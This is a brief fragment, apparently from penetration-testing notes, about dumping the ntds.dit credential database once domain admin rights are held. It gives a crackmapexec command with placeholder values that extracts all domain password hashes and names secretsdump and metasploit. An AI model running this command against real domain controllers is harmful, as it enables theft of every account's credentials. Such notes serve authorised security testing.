Domain Admin

Dump ntds.dit

crackmapexec

cme smb <dc-ip> -u <user> -p <password> -d <domain> --ntds

secretsdump

metasploit